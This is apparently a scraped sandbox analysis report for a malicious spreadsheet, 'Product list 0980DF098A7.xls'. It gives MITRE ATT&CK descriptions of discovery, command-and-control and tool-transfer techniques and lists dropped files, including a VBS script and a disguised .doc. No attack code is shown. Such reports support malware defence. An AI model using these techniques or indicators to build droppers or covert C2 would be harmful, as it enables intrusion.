Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Product list 0980DF098A7.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Cache\data_1

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF5b6568.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.3784

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt16.lst.3784

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\loveforsave[1].vbs

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2D4E0D6.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\43354082.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\463A196F.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5157A1CC.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\67B361A6.emf

Windows Analysis Report
Product list 0980DF098A7.xls